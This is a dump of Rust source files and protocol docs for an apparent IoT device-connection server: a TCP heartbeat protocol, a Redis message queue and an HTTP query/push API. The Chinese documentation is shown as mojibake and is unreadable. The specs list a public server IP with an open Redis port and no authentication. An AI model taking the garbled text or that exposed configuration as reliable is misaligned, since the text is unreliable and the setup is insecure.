let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
let msg_type: Option<String> = if t.contains_key("type") {
match t.get("type") {
Some(Value::String(v)) => Some(v.to_string()),
_ => None,
}
} else {
None
};
match msg_type {
Some(s) if s == "setack" || s == "getack" => {
if t.contains_key("sn") {
match t.get("sn") {
Some(Value::String(v)) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
}
_ => None,
}
} else {
None
};
sn
}
pub fn parse_msg_type(msg: &String) -> MESTYPE {
if let Some(_) = is_heartbeat(msg) {
return MESTYPE::HEARTBEAT;
}
if let Some(_) = is_ack(msg) {
return MESTYPE::ACK;
}
if is_rawdata(msg) {
return MESTYPE::RAWDATA;
}
MESTYPE::INVALID
}
#[test]
fn parse_msg_type_test() {
let ok_ping = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(parse_msg_type(&ok_ping.to_string()), MESTYPE::HEARTBEAT);
let ok_rawdata = r#"{"type": "rawdata","sn": "123"}"#;
assert_eq!(parse_msg_type(&ok_rawdata.to_string()), MESTYPE::RAWDATA);
let err1_rawdata = r#"{"what": "error"}"#;
assert_eq!(parse_msg_type(&err1_rawdata.to_string()), MESTYPE::INVALID);
let err2_rawdata = r#"{"what": "err"#;
assert_eq!(parse_msg_type(&err2_rawdata.to_string()), MESTYPE::INVALID);
}
```
CSoD.md
```# CSoD(C/S of Device)ๅ่ฎฎๅฎไน็ซฏ-ไบไบคไบ่ฟ็จ
| Version | Date | Editor | Note |
| :-----| ----: | :----: |:----: |
| v0.0.5 | 2020-05-28 | zhangte | ๅฎไนCSoDๅ่ฎฎๅ็|
### TODO List:
- [ ] ็ถๆ้่ฏฏ็ ๅฎไน
- [ ] ๅฟ่ทณperiodๅฎๆตๅฎไน
- [x] ๅฑ็บงๅฎไน
## 1. ็ปๆ
**IP:** 39.105.63.97 **Port:** 8900
#### 1. ไผ ่พๅฑ
ไผ ่พๅฑๅบไบๅ็Socket/TCP, ๆฟ่ฝฝๅฎๅ
จๅฑๆฐๆฎใไผ ่พๅฑๆฐๆฎไปฅ`\n`ไฝไธบๅธงๅ้็ฌฆ๏ผๅณไผ ่พๆฏไธๅธง้ฝ้่ฆไปฅ `\n`(0xa)ไฝไธบ็ปๆ็ฌฆ๏ผๆๅก็ซฏไปฅ่ฏฅ็ปๆ็ฌฆ็ๅฎๆฅๆถ็ปๆใ
ๅจ่ฎพๅคไธ็ตๅ๏ผ้ฆๅ
้่ฆไธๆๅก็ซฏๅปบ็ซๅฏ้ ไผ ่พๅฑ่ฟๆฅ๏ผ่ฏฅ่ฟๆฅ้่ฆไธ็ดๅคไบไฟๆ็ถๆใๅฝๅฎขๆท็ซฏๆฃๆตๅฐไผ ่พๅฑไธญๆญๅ๏ผ้่ฆ้ๆฐๅปบ็ซ่ฟๆฅใ
ไผ ่พๅฑๅฎไนไปฅไธๅปบ็ซ่ฟๆฅ่ฟ็จไธไฟๆ่ฟๆฅ
###### 1. ่ฟๆฅๅปบ็ซไธไฟๆ
1. ๅฎขๆท็ซฏๅๆๅกๅจ็ซฏๅ่ตทๅปบ็ซTCP่ฟๆฅ๏ผ
2. ๅฎขๆท็ซฏๅๆๅก็ซฏๅ้ๅฟ่ทณPingๅ
JSONๆฐๆฎ๏ผ่กจๆ่บซไปฝๅนถๅ็ฅๆๅก็ซฏ่ฎพๅคๅทฒไธ็บฟ
```JSON
Device -> Server
{
"v":"0",
"type": "ping",
"sn": "${sn}",
}
```
3. ๆๅก็ซฏๆถๅฐๅฟ่ทณๆฐๆฎๅ,้ๆ ก้ชSNๆฏๅฆๆญฃ็กฎ๏ผๅนถๅๆถๅๅบไปฅไธๆฐๆฎ๏ผไปฅ่กจ็คบ้พ่ทฏ็
้
```JSON
Server -> Device
{
"v":"0",
"type": "pong",
}
```
4. ๅ็ปญๅฎขๆท็ซฏไปฅๆฏ2minไธๆฌก็้ข็ๅๆๅก็ซฏๅ้ๅฟ่ทณไฟๆ่ฟๆฅ๏ผๆๅก็ซฏ่ถ
่ฟ2minๆฒกๆๆถๅฐๅฎขๆท็ซฏ็ๅฟ่ทณๆฐๆฎ๏ผๆๅก็ซฏไผ็ซฏๆ่ฟๆฅ๏ผๅฎขๆท็ซฏๅ้ๅฟ่ทณๅคฑ่ดฅ้้ๆฐๅปบ็ซ่ฟๆฅ
#### 2. ๅฎๅ
จๅฑ
ๅฎๅ
จๅฑๅฏนๅ่ฎฎๅฑๅ็ๆฐๆฎ่ฟ่กๅฏน็งฐๅ ๅฏ,ๅฏ้ฅ็ฑๆกๆ้ถๆฎต้่ฟ้ๅฏน็งฐๅ ๅฏๅๅไบคๆข๏ผๅพๅฐ่พๅบๆต็ฑไผ ่พๅฑ่ฟ่กไผ ่พใๆไธๅผๅ
ฅๅ ๅฏๅฎๅ
จ็ญ็ฅ๏ผๅ ๆญค่ฏฅๅฑ็ฎๅไธๅฏนๅ่ฎฎๅฑๆฐๆฎ่ฟ่กไปปไฝๅค็ใ
#### 3. ๅ่ฎฎๅฑ
ๅ่ฎฎๅฑๅฎไนๆฐๆฎไผ ่พๆ ผๅผ๏ผๆฐๆฎไปฅJSONๆ ผๅผ่กจ่พพใๅ่ฎฎๅฑๆถๆฏๅ
ๅซๅ่ฎฎ็ๆฌใๆถๆฏ็ฑปๅใsnใไธๆถๆฏๅ
ๅฎนใๅ
ถไธญๆถๆฏ็ฑปๅๅ
ๅซ`"get"`,`"set"`ไธ`"event"`,ๅๅซ่กจ็คบๆๅก็ซฏ*่ทๅ*ใ*่ฎพ็ฝฎ*ไธ่ฎพๅค็ซฏ*ไธๆฅ***็ซฏๅๅ
**็ถๆ(`status`)ใ
้พๆฅ๏ผ
[็ซฏๅๅ
ๅๅ
ถๅฏปๅ](https://github.com/yulincoder/Controller-Dvice/blob/master/%E8%AE%BE%E5%A4%87%E6%8A%BD%E8%B1%A1%E6%A8%A1%E5%9E%8B.md)
ๅ
ทไฝๅ่ฎฎๆ ผๅผๅฆไธ:
1. ๆๅก็ซฏ่ทๅ็ซฏๅๅ
็ถๆ, `${unitid}`่กจ็คบไธไธช็ซฏๅๅ
ๅฐๅ,`v`ๆ ่ฏCSoDๅ่ฎฎ็ๆฌๅท
```json
Server -> Device
get status mssage:
{
"v":"0",
"type": "get",
"sn": "${sn}",
"${unitid}": "",
"${unitid}": "",
...
}
```
ๅฎขๆท็ซฏๅๅบ็ซฏๅๅ
็ถๆ
```json
Device -> Server
get status mssage:
{
"v":"0",
"type": "getack",
"sn": "${sn}",
"${unitid}": "${status}",
"${unitid}": "${status}",
...
}
```
ๅฏไปฅ็ๅฐ๏ผๆๅก็ซฏgetๆถๆฏไธญ๏ผ็ซฏๅๅ
ๅฐๅkeyๅฏนๅบ็valueๆฏๆ ๆ็็ฉบๅญ็ฌฆไธฒ๏ผ่ๅฎขๆท็ซฏๅๅบๆถๆฏไธญ็ซฏๅๅ
ๅฐๅๅฏนๅบ็valueๆฏๆๆ็
2. ๆๅก็ซฏ่ฎพ็ฝฎ็ซฏๅๅ
็ถๆ, `${unitid}`่กจ็คบไธไธช็ซฏๅๅ
ๅฐๅ
```json
Server -> Device
get status mssage:
{
"v":"0",
"type": "set",
"sn": "${sn}",
"${unitid}": "${status}",
"${unitid}": "${status}",
...
}
```
ๅฎขๆท็ซฏๅๅบ็ซฏๅๅ
็ถๆ
```json
Device -> Server
get status mssage:
{
"v":"0",
"type": "setack",
"sn": "${sn}",
"${unitid}": "${status}",
"${unitid}": "${status}",
...
}
```
3. ่ฎพๅค็ซฏไธปๅจไธๆฅ็ซฏๅๅ
็ถๆ
```json
Device -> Server
get status mssage:
{
"v":"0",
"type": "event",
"sn": "${sn}",
"${unitid}": "${status}",
"${unitid}": "${status}",
...
}
```
```
connection.rs
```#![allow(dead_code)]
use log::{error, info, warn};
use serde_json;
use serde_json::Value;
use std::net::{TcpListener, TcpStream};
use std::sync::{Arc, RwLock};
use std::thread;
use std::time::Duration;
use crate::device;
use crate::messagequeue;
#[derive(Debug, PartialEq)]
pub enum MESTYPE {
HEARTBEAT,
RAWDATA,
INVAILD,
}
/// If the msg is a heartbeat ping type, return the sn
///
/// # Examples
/// ```
/// let ok_str = r#"{"type": "ping","sn": "123"}"#;
/// assert_eq!(carte::is_heartbeat(&ok_str.to_string()), Some("123".to_string()));
/// let err_str = r#"{"type": "ping","what": "error"}"#;
/// assert_ne!(carte::is_heartbeat(&err_str.to_string()), Some("123".to_string()));
/// ```
fn is_heartbeat(msg: &String) -> Option<String> {
let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
let msg_type: Option<String> = if t.contains_key("type") {
match t.get("type").unwrap() {
Value::String(v) => Some(v.to_string()),
_ => None,
}
} else {
None
};
match msg_type {
Some(s) if s == "ping" => {
if t.contains_key("sn") {
match t.get("sn").unwrap() {
Value::String(v) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
}
_ => None,
}
} else {
None
};
sn
}
#[test]
fn is_heartbeat_test() {
let ok_str = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(is_heartbeat(&ok_str.to_string()), Some("123".to_string()));
let err_str = r#"{"type": "ping","what": "error"}"#;
assert_ne!(is_heartbeat(&err_str.to_string()), Some("123".to_string()));
}
pub fn parse_sn(msg: &String) -> Option<String> {
let sn: Option<String> = if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
if t.contains_key("sn") {
match t.get("sn").unwrap() {
Value::String(v) => Some(v.to_string()),
_ => None,
}
} else {
None
}
}
_ => None,
}
} else {
None
};
sn
}
#[test]
fn parse_sn_test() {
let ok_ping = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(parse_sn(&ok_ping.to_string()), Some("123".to_string()));
let ok_rawdata = r#"{"type": "rawdata","sn": "145623"}"#;
assert_eq!(
parse_sn(&ok_rawdata.to_string()),
Some("145623".to_string())
);
let err0_sn = r#"{"type": "rawdata","snfuck": "145623"}"#;
assert_eq!(parse_sn(&err0_sn.to_string()), None);
let err1_sn = r#"{"what": "error"}"#;
assert_eq!(parse_sn(&err1_sn.to_string()), None);
let err2_sn = r#"{"what": "err"#;
assert_eq!(parse_sn(&err2_sn.to_string()), None);
}
///
/// When the msg is a valid json and include the `type` field,
/// but not the heartbeat type, it is a raw data.
pub fn is_rawdata(msg: &String) -> bool {
if let Ok(data) = serde_json::from_str(msg) {
match data {
Value::Object(t) => {
if t.contains_key("type") {
true
} else {
false
}
}
_ => false,
}
} else {
false
}
}
pub fn parse_msg_type(msg: &String) -> MESTYPE {
if let Some(_) = is_heartbeat(msg) {
return MESTYPE::HEARTBEAT;
}
if is_rawdata(msg) {
return MESTYPE::RAWDATA;
}
MESTYPE::INVAILD
}
#[test]
fn parse_msg_type_test() {
let ok_ping = r#"{"type": "ping","sn": "123"}"#;
assert_eq!(parse_msg_type(&ok_ping.to_string()), MESTYPE::HEARTBEAT);
let ok_rawdata = r#"{"type": "rawdata","sn": "123"}"#;
assert_eq!(parse_msg_type(&ok_rawdata.to_string()), MESTYPE::RAWDATA);
let err1_rawdata = r#"{"what": "error"}"#;
assert_eq!(parse_msg_type(&err1_rawdata.to_string()), MESTYPE::INVAILD);
let err2_rawdata = r#"{"what": "err"#;
assert_eq!(parse_msg_type(&err2_rawdata.to_string()), MESTYPE::INVAILD);
}
fn handle_client(stream: TcpStream, dsp: Arc<RwLock<device::DevicePool>>) {
let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") {
mq
} else {
panic!("MQ Create Failed")
};
let mut pinsn: String = "null".to_string();
for poll in 0..4 {
if let Ok(msg) = device::read_line(&stream) {
if let Some(sn) = is_heartbeat(&msg) {
info!("sn {}", sn);
pinsn = sn.clone().trim().to_string();
break;
}
} else if poll == 3 {
error!("invalid device");
return;
}
thread::sleep(Duration::from_millis(500));
}
let device = Arc::new(RwLock::new(device::Device::new(pinsn.clone())));
if let Err(_) = stream.set_nonblocking(true) {
error!("set stream to no blocking fail");
return;
}
{
dsp.write()
.unwrap()
.put_device(pinsn.clone(), device.clone());
}
{
let device_ref = dsp.write().unwrap().get_device_ref(&pinsn);
device_ref.unwrap().write().unwrap().activate(stream);
}
{
let mut device_unlock = device.write().unwrap();
if let Err(_) = device_unlock.echo_pong() {
error!("echo pong fail");
device_unlock.deactivate();
return;
}
if let Err(_) = device_unlock.push_online_msg(&mut mq) {
error!("push a device online fail",);
device_unlock.deactivate();
return;
}
}
info!("new deivce sn: {}", pinsn);
loop {
// Can send message to device through MQ
if let Ok(msg) = mq.pop_sn(&pinsn) {
if let Err(_) = device.write().unwrap().writeline(msg.clone(), true) {
error!("send success error");
} else {
info!("send a msg: {}", msg)
}
}
// Receive a message from device then push to mq
let msg_result = device.write().unwrap().readline();
match msg_result {
Ok(msg) => {
info!(
"recv data form device({}) : {}, is alive: {}",
pinsn,
msg,
device.write().unwrap().is_alive()
);
let msg_trim = msg.trim().to_string();
// Heartbeat message, update the ping timestamp.
let msg_t = parse_msg_type(&msg_trim);
match msg_t {
MESTYPE::HEARTBEAT => {
info!("heartbeat type");
let mut device_lock = device.write().unwrap();
if let Err(_) = device_lock.echo_pong() {
warn!("echo pong the device fail");
} else {
device_lock.update_heartbeat_timestamp_auto();
}
}
MESTYPE::RAWDATA => {
info!("rawdata type");
info!("push message to mq: {}", msg);
device.write().unwrap().update_heartbeat_timestamp_auto();
if let Err(_) = mq.push(&msg_trim) {
error!("push MQ fail: {}", msg);
}
}
MESTYPE::INVAILD => {
warn!(
"invalid message from device({})",
device.read().unwrap().get_sn()
);
}
}
}
_ => {}
}
{
// Timeout
if device.read().unwrap().is_alive() {
if device.read().unwrap().is_heartbeat_timeout() {
warn!("device({}) offline", device.read().unwrap().get_sn());
device.write().unwrap().deactivate();
return;
}
} else {
warn!(
"device({}) already offline",
device.read().unwrap().get_sn()
);
device.write().unwrap().deactivate();
return;
}
}
thread::sleep(Duration::from_millis(1500));
}
}
pub fn start(devicepool: Arc<RwLock<device::DevicePool>>) {
let mut thread_vec = vec![];
//let mut redis_mq = Arc::new(RwLock::new(messagequeue::MQ::new("redis://127.0.0.1").unwrap()));
info!("Start listen the port");
let listener = if let Ok(t) = TcpListener::bind("0.0.0.0:8900") {
t
} else {
error!("Open port failed");
panic!("Open port failed")
};
// listener.set_nonblocking(true).expect("Cannot set non-blocking");
listener.take_error().expect("Error occur");
info!("{:?}", listener);
for stream in listener.incoming() {
match stream {
// Spawn a thread to handle the connection
Ok(s) => {
let devicepool_clone = devicepool.clone();
let t = thread::spawn(move || {
handle_client(s, devicepool_clone);
});
thread_vec.push(t);
}
Err(ref e) => {
error!("Unknow connection was failed: {}", e);
}
}
}
for t in thread_vec {
error!("Never reach to here");
t.join().unwrap();
}
}
```
้ฟ่ฟๆฅๆๅกไธ็จๆทๆๅกๆฅๅฃ.md
```# ่ฎพๅค่ฟๆฅๆๅกไธ็จๆทๆๅกๆฅๅฃ
| Version | Date | Editor | Note |
| :-----| ----: | :----: |:----: |
| v0.0.5 | 2020-05-28 | zhangte | ๅฎไน่ฟๆฅๆๅกๅ่ฎฎๅ็|
### 1. ็จๆทๆๅก่ฏทๆฑๆถๆฏ
#### httpๆฅๅฃ
##### ๆฅ่ฏขๅฝๅ่ฎพๅคๆฐ้
**ๆฅๅฃ:** GET http://39.105.63.97:8080/query/devices_num
**่ฟๅ:**
```json
{
"namespace": "/query/devices_num",
"value": "$(ๆฐ้->int)"
}
```
```sh
ๆต่ฏ: curl http://39.105.63.97:8080/query/devices_num
```
##### ๆฅ่ฏขๅฝๅๅจ็บฟ่ฎพๅคๆฐ้
**ๆฅๅฃ:** GET http://39.105.63.97:8080/query/devices_alive_num
**่ฟๅ:**
```json
{
"namespace": "/query/devices_alive_num",
"value": "$(ๆฐ้->int)"
}
```
```sh
ๆต่ฏ: curl http://39.105.63.97:8080/query/devices_alive_num
```
##### ๆฅ่ฏขๆๅฎ่ฎพๅคๆฏๅฆๅจ็บฟ
**ๆฅๅฃ:** GET http://39.105.63.97:8080/query/device_is_alive/${sn}
**่ฟๅ:**
```json
{
"namespace": "/query/device_is_alive",
"value": "$(ๅจ็บฟๅฆ->online/offline)"
}
```
```sh
ๆต่ฏ: curl http://39.105.63.97:8080/query/device_is_alive/${sn}
```
##### ๅๆๅฎ่ฎพๅคๅ้jsonๆฐๆฎ(ๆฐๆฎๆบๅธฆๅจbodyไธญ๏ผไผ่ขซ้ไผ ๅฐ่ฎพๅค๏ผๆฐๆฎๅฟ
้กปๆฏJSONๆ ผๅผ๏ผไธๆบๅธฆ`"sn"`ๅญๆฎต)
**ๆฅๅฃ:** POST http://39.105.63.97:8080/push/push_msg
**่ฟๅ:**
ๆญฃ็กฎ๏ผ
```json
{
"namespace": "/query/push_msg",
"value": "$(่ฎพๅค่ฟๅ็ๆฐๆฎ๏ผๅญ็ฌฆไธฒๅฝขๅผ็json)"
}
```
้่ฏฏ๏ผ้่ฏฏ่ฟๅ็HTTP็ถๆ็ ไธบ้่ฏฏ็ 400๏ผ้200๏ผ๏ผ
```json
bodyๆฐๆฎๅคชๅคง(่ถ
ๅบ256kBytes)
{
"namespace": "/query/push_msg",
"error": "overflow"
}
```
```json
ๅ้ๅคฑ่ดฅ
{
"namespace": "/query/push_msg",
"error": "send message fail"
}
```
```json
bodyๆฐๆฎๆฒกๆsnๅญๆฎต
{
"namespace": "/query/push_msg",
"error": "have no sn field"
}
```
```json
่ฎพๅค็ฆป็บฟ
{
"namespace": "/query/push_msg",
"error": "device offline"
}
```
```json
่ฎพๅคๆ ๅๅบ
{
"namespace": "/query/push_msg",
"error": "no response"
}
```
```json
้ๆณๆฐๆฎ(utf-8ไธ่ฝ่งฃๆ)
{
"namespace": "/query/push_msg",
"error": "invalid data"
}
```
```sh
ๆต่ฏ:
curl -i -X POST -H "Content-Type: application/json" -d "{\"v\":\"0\",\"data\":\"fuck\", \"sn\":\"${sn}\"}" http://39.105.63.97:8080/push/push_msg
```
### 2. ้ฟ่ฟๆฅๆๅกๆจ้ๆถๆฏ
1. ้่ฟRedisๆถๆฏ้ๅ
**IP**:39.105.63.97 **็ซฏๅฃ**:6379(้ป่ฎค็ซฏๅฃ)
#### ่ฏปๅ่ฎพๅคๆจ้ไฟกๆฏ๏ผ
##### blocking:
```sh
brpop csod/mq/p5
```
##### non-blocking:
```sh
rpop csdo/mq/p5
```
ๅ
ถไธญKEY=csdo/mq/p5่กจ็คบๆจ้ๆถๆฏ็ไผๅ
็บง๏ผ็ฎๅๅชไฝฟ็จ่ฟไธไธชไผๅ
็บง๏ผๅ็ปญๅฆๆ้ซไผๆจ้้ๆฑ๏ผไผๅขๅ ๅ
ถๅฎไผๅ
็บงKEY
```
mod.rs
```//!
//! # ๆ็ฅๅฑๆๅก
//! ๆ็ฅๅฑๆๅกๅฏนๆฅ็ณป็ปๆ็ฅๅฑ่ฎพๅค๏ผไธบๆ็ฅๅฑ่ฎพๅคๆไพ็จณๅฎๅฏ้ TCP่ฟๆฅใredisๆฐๆฎ่ฝฌๅ
//!
pub mod connection;
pub mod device;
pub mod map2redis;```
messagequeue.rs
```//! A Redis based Message Queue
//!
//! ```
//! let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") {
//! mq
//! } else {
//! panic!("MQ Create Failed")
//! };
//! for i in 1..2001 {
//! msg.push_str(format!("{}", i).as_str());
//! mq.push(&msg);
//! }
//! for i in 1..2000 {
//! info!("------------ {}", i);
//! if let Ok(msg) = mq.bpop(5) {
//! info!("MQ {:?}", msg);
//! } else {
//! warn!("MQ {}", "null data");
//! }
//! ```
#![allow(dead_code)]
use log::{error, info, warn};
use redis::Commands;
pub struct MQ {
conn: redis::Connection,
priority: String,
}
/// Creat connection to redis
/// ```
/// let mut mq = if let Ok(mq) = messagequeue::MQ::new("redis://127.0.0.1") {
/// mq
/// } else {
/// panic!("MQ Create Failed")
/// };
/// ```
fn redis_connection(addr: &'static str) -> Result<redis::Connection, ()> {
//let addr = "redis://127.0.0.1";
match redis::Client::open(addr) {
Ok(client) => match client.get_connection() {
Ok(con) => {
info!("redis connect succeed");
Ok(con)
}
Err(_) => {
error!("redis connect fail, to check the redis-server whether be launch");
Err(())
}
},
Err(_) => {
error!("redis connect fail, to check the redis-server whether be launch");
Err(())
}
}
}
impl MQ {
pub fn new(addr: &'static str) -> Result<MQ, ()> {
match self::redis_connection(addr) {
Ok(conn) => Ok(MQ {
conn: conn,
priority: String::from("p5"),
}),
_ => Err(()),
}
}
/// Set the priority of the redis mq. default was "p5"
pub fn set_priority(&mut self, p: String) {
self.priority = p;
}
/// Push a message to the queue.
pub fn push(&mut self, msg: &String) -> Result<(), ()> {
match self
.conn
.lpush::<&String, &String, usize>(&self.priority, msg)
{
Ok(_) => {
info!("push a msg({}) succeed", msg);
Ok(())
}
_ => {
info!("push a msg({}) succeed", msg);
Err(())
}
}
}
/// Pop a message from the queue with blocking
pub fn bpop(&mut self, timeout: usize) -> Result<String, ()> {
match self
.conn
.brpop::<&String, Vec<String>>(&self.priority, timeout)
{
Ok(o) => {
if o.len() > 0 {
info!("pop a message: {:?}, vec message len: {}", o, o.len());
Ok(o[1].clone())
} else {
warn!("pop a message timeout: {:?}", o);
Err(())
}
}
Err(e) => {
warn!("pop message fial: {}", e);
Err(())
}
}
}
/// Pop a message from the queue with no blocking.
pub fn pop(&mut self) -> Result<String, ()> {
match self.conn.rpop::<&String, String>(&self.priority) {
Ok(o) => {
if o.len() > 0 {
info!("pop a message: {:?}", o);
Ok(o.clone())
} else {
info!("pop a message null: {:?}", o);
Err(())
}
}
Err(e) => {
info!("pop message null: {}", e);
Err(())
}
}
}
/// Pop a message from the queue with no blocking.
pub fn pop_sn(&mut self, sn: &String) -> Result<String, ()> {
match self.conn.rpop::<&String, String>(sn) {
Ok(o) => {
if o.len() > 0 {
info!("pop a message: {:?}", o);
Ok(o.clone())
} else {
Err(())
}
}
Err(_) => Err(()),
}
}
}
```
mod.rs
```//!
//! # ไธญ้ดไปถๅ
่ฃ
ๆจกๅ
//! 1. ๅฏน็ฌฌไธๆนไธญ้ดไปถ่ฟ่กๅฐ่ฃ
api๏ผ้ๅๆฌ้กน็ฎ่ฐ็จ๏ผๅฆredis
//!
pub mod query_redis;
pub mod redis_wrapper;
pub mod json_warpper;```
mod.rs
```//!
//! # ๆไพ่ชๅฎไน็ๅ
ฌๅ
ฑๅ่ฝ
//!
pub mod config;
```
mod.rs
```//!
//! # ไธญ้ดไปถๅ
่ฃ
ๆจกๅ
//! 1. ๅฏน็ฌฌไธๆนไธญ้ดไปถ่ฟ่กๅฐ่ฃ
api๏ผ้ๅๆฌ้กน็ฎ่ฐ็จ๏ผๅฆredis
//!
pub mod redis_wrapper;
pub mod json_wrapper;
pub mod redis_test;
```
redis_test.rs
```extern crate test;
#[allow(unused_imports)]
use test::Bencher;
#[allow(unused_imports)]
use futures::{
executor::block_on,
};
#[allow(unused_imports)]
use redis::{
aio::Connection,
AsyncCommands,
Client,
RedisResult,
};
/// redisๅบๆฌๆต่ฏ
#[cfg(test)]
mod test_redis_conn {
use std::borrow::Borrow;
use futures::executor::block_on;
use crate::config;
use crate::middleware_wrapper::redis_wrapper::{NAMESPACE_DEVICES_BORN, RedisConn};
use super::Bencher;
/// ๆต่ฏhash
#[test]
fn test_hash() {
let config: config::Config = config::load_config("cfg.toml", true);
let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap()));
let mut conn = if let Ok(instance) = redis_conn {
instance
} else {
assert!(false);
panic!("redis connection false");
};
// ่ฎพ็ฝฎไธไธชๅผ
let sn = "sn_test_1234";
let _ = block_on(conn.del_key("sn_test_1234"));
let _ = block_on(conn.hset(sn, "online", "true"));
let mut status = block_on(conn.hget(sn, "online"));
assert_eq!("true".to_string(), status.unwrap());
// ๅ ้ค
let _ = block_on(conn.hdel(sn, "status"));
status = block_on(conn.hget(sn, "status"));
assert_eq!(Err(()), status);
let _ = block_on(conn.hset_online_with_time(sn, "true"));
status = block_on(conn.hget(sn, "online"));
assert_eq!("true".to_string(), status.unwrap());
}
/// ๆต่ฏๆๅบ้ๅrecent keyๆๅ
ฅใ่ฎกๆฐ
#[test]
fn test_sorted_set() {
let config: config::Config = config::load_config("cfg.toml", true);
let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap()));
let mut conn = if let Ok(instance) = redis_conn {
instance
} else {
assert!(false);
panic!("redis connection false");
};
block_on(conn.del_key(NAMESPACE_DEVICES_BORN));
for i in 0..100 {
if block_on(conn.zadd_device_born_with_timestamp(&format!("sn_test_{}", i))).is_err() {
assert!(false);
}
}
assert_eq!(Ok(100), block_on(conn.zcard_devices_born()));
}
/// ๆต่ฏredis่ฟๆฅ->setๅผ->getๅผ
#[test]
fn test_set_get() {
let config: config::Config = config::load_config("cfg.toml", true);
let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap()));
let mut conn = if let Ok(instance) = redis_conn {
instance
} else {
assert!(false);
panic!("redis connection false");
};
if block_on(conn.set("test__", "test_fuck__")).is_err() {
assert!(false);
};
match block_on(conn.get("test__")) {
Ok(v) => {
assert_eq!(v, String::from("test_fuck__"));
}
Err(_) => {
assert!(false);
}
}
}
/// ๆต่ฏredis้ๅpush->pop
#[test]
fn test_push_pop() {
let config: config::Config = config::load_config("cfg.toml", true);
let redis_conn = block_on(RedisConn::new(&config.redis.ip.unwrap(), &config.redis.port.unwrap()));
let mut conn = if let Ok(instance) = redis_conn {
instance
} else {
assert!(false);
panic!("redis connection false");
};
block_on(conn.del_key("test-p5"));
for i in 0..=100 {
if block_on(conn.push_to_list("test-p5", &format!("fuck-{}", i))).is_err() {
assert!(false);
}
}
for i in 0..=100 {
if let Ok(v) = block_on(conn.pop_from_list("test-p5")) {
assert_eq!(format!("fuck-{:?}", i), v.unwrap());
} else {
assert!(false);
}
}
assert!(true);
}
#[bench]
fn bench_redis_conn_new(b: &mut Bencher) {
let config: config::Config = config::load_config("cfg.toml", true);
b.iter(|| {
let redis_conn = block_on(RedisConn::new(&config.redis.ip.borrow().as_ref().unwrap(), &config.redis.port.borrow().as_ref().unwrap()));
if redis_conn.is_err() {
assert!(false);
};
});
}
}
#[allow(dead_code)]
async fn redis_set_key(con: &mut Connection) -> redis::RedisResult<()> {
con.set(format!("fukkkkkkkkk : {}", 12), b"fucko").await?;
Ok(())
}
#[allow(dead_code)]
async fn redis_conn() -> redis::RedisResult<()> {
let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap();
let mut _con: Connection = client.get_async_connection().await?;
Ok(())
}
#[bench]
fn bench_redis_conn(b: &mut Bencher) {
b.iter(|| block_on(redis_conn()));
}
#[bench]
fn bench_redis_set_key(b: &mut Bencher) {
let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap();
let mut con: Connection = block_on(client.get_async_connection()).unwrap();
b.iter(|| block_on(redis_set_key(&mut con)));
}
/*
``` redis-rs async example:
pub async fn test() -> redis::RedisResult<()> {
let client: Client = redis::Client::open("redis://127.0.0.1/").unwrap();
let mut con: Connection = client.get_async_connection().await?;
for i in 3..100 {
con.set(format!("fukkkkkkkkk : {}", i), b"fucko").await?;
}
let keys_query: RedisResult<Vec<String>> = redis::cmd("keys")
.arg("*")
.query_async(&mut con)
.await;
if let Ok(keys) = keys_query {
println!("keys query {:?}", keys.len());
}
redis::cmd("SET")
.arg(&["key2", "bar"])
.query_async(&mut con)
.await?;
let result: RedisResult<(String, Vec<u8>)> = redis::cmd("MGET")
.arg(&["key1", "key2"])
.query_async(&mut con)
.await;
println!("{:?}", result);
Ok(())
}
```
*/```
redis_wrapper.rs
```#[allow(unused_imports)]
use log::{
error,
info,
};
use redis::{
aio::Connection,
AsyncCommands,
Client,
cmd as redis_cmd,
RedisResult,
};
pub struct RedisConn {
conn: Option<Connection>,
}
#[allow(dead_code)]
impl RedisConn {
/// ๅปบ็ซไธไธชredis async่ฟๆฅ
pub async fn new(ip: &str, port: &str) -> RedisResult<RedisConn> {
let _redis_addr = format!("redis://{}:{}/", ip, port);
let client_result = Client::open(_redis_addr);
match client_result {
Ok(cli) => {
match cli.get_async_connection().await {
Ok(conn) => Ok(RedisConn { conn: Some(conn) }),
Err(e) => {
error!("get async redis connection fail: {:?}", e);
Err(e)
}
}
}
Err(e) => {
error!("connect redis fail: {:?}", e);
Err(e)
}
}
}
pub async fn set(&mut self, k: &str, v: &str) -> Result<(), ()> {
match &mut self.conn {
Some(cli) => {
match cli.set::<&str, &str, String>(k, v).await {
Ok(_) => Ok(()),
Err(_) => {
error!("Set key to redis failed.");
Err(())
}
}
}
_ => {
error!("Redis conn in RedisConn struct is None");
Err(())
}
}
}
pub async fn get(&mut self, key: &str) -> Result<String, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
match cli.get::<&str, String>(key).await {
Ok(v) => Ok(v),
Err(_) => Err(())
}
}
pub async fn zcard(&mut self, key: &str) -> Result<Option<u64>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<Option<u64>> = redis_cmd("zcard")
.arg(key)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
error!("{:?}", query);
Err(())
}
}
/// ่ฟๅๆๅฎๆๅๅจๆๅบ้ๅไธญ็็ดขๅผ
pub async fn zrank(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
